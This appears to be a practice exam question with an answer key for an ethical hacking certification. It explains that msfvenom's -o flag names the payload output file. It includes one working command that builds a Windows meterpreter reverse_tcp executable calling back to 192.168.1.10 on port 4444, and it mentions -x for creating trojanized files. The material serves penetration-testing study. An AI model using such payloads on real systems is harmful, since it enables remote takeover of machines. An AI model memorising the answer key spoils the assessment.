Table of Contents
What Does the -o Parameter Do When Creating Payloads in MSFVenom?
Learn how to use the -o parameter in MSFVenom to specify the output file name for a generated payload. Understand the difference between -o and other MSFVenom options like -f and -x when building custom payloads securely.
Question
In msfvenom, which parameter allows you to specify the output file name of the payload?
A. -f
B. -x
C. -o
D. -n
Answer
C. -o
Explanation
The -o option sets the output file name for the generated payload.
In MSFVenom, the -o parameter is used to specify the name of the output file that will store the generated payload. When combined with the -p option (for payload type) and the -f option (for file format), -o defines where the payload will be saved and under what filename. This provides control and organization during the payload generation process, especially when creating multiple payloads for testing or automation.
Example:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o payload.exe
This command generates a Windows executable payload and saves it as payload.exe.
The other options serve different purposes:
A. -f – Specifies the output format of the payload (e.g., exe, elf, raw, ps1).
B. -x – Uses an existing executable template file to inject the payload into (useful for creating trojanized files).
D. -n – Specifies the NOP (No-Operation) count or block size for padding payloads, not used for file naming.
Ethical Hacking with Metasploit, SQL & Crypto certification exam assessment practice question and answer (Q&A) dump including multiple choice questions (MCQ) and objective type questions, with detail explanation and reference available free, helpful to pass the Ethical Hacking with Metasploit, SQL & Crypto exam and earn Ethical Hacking with Metasploit, SQL & Crypto certificate.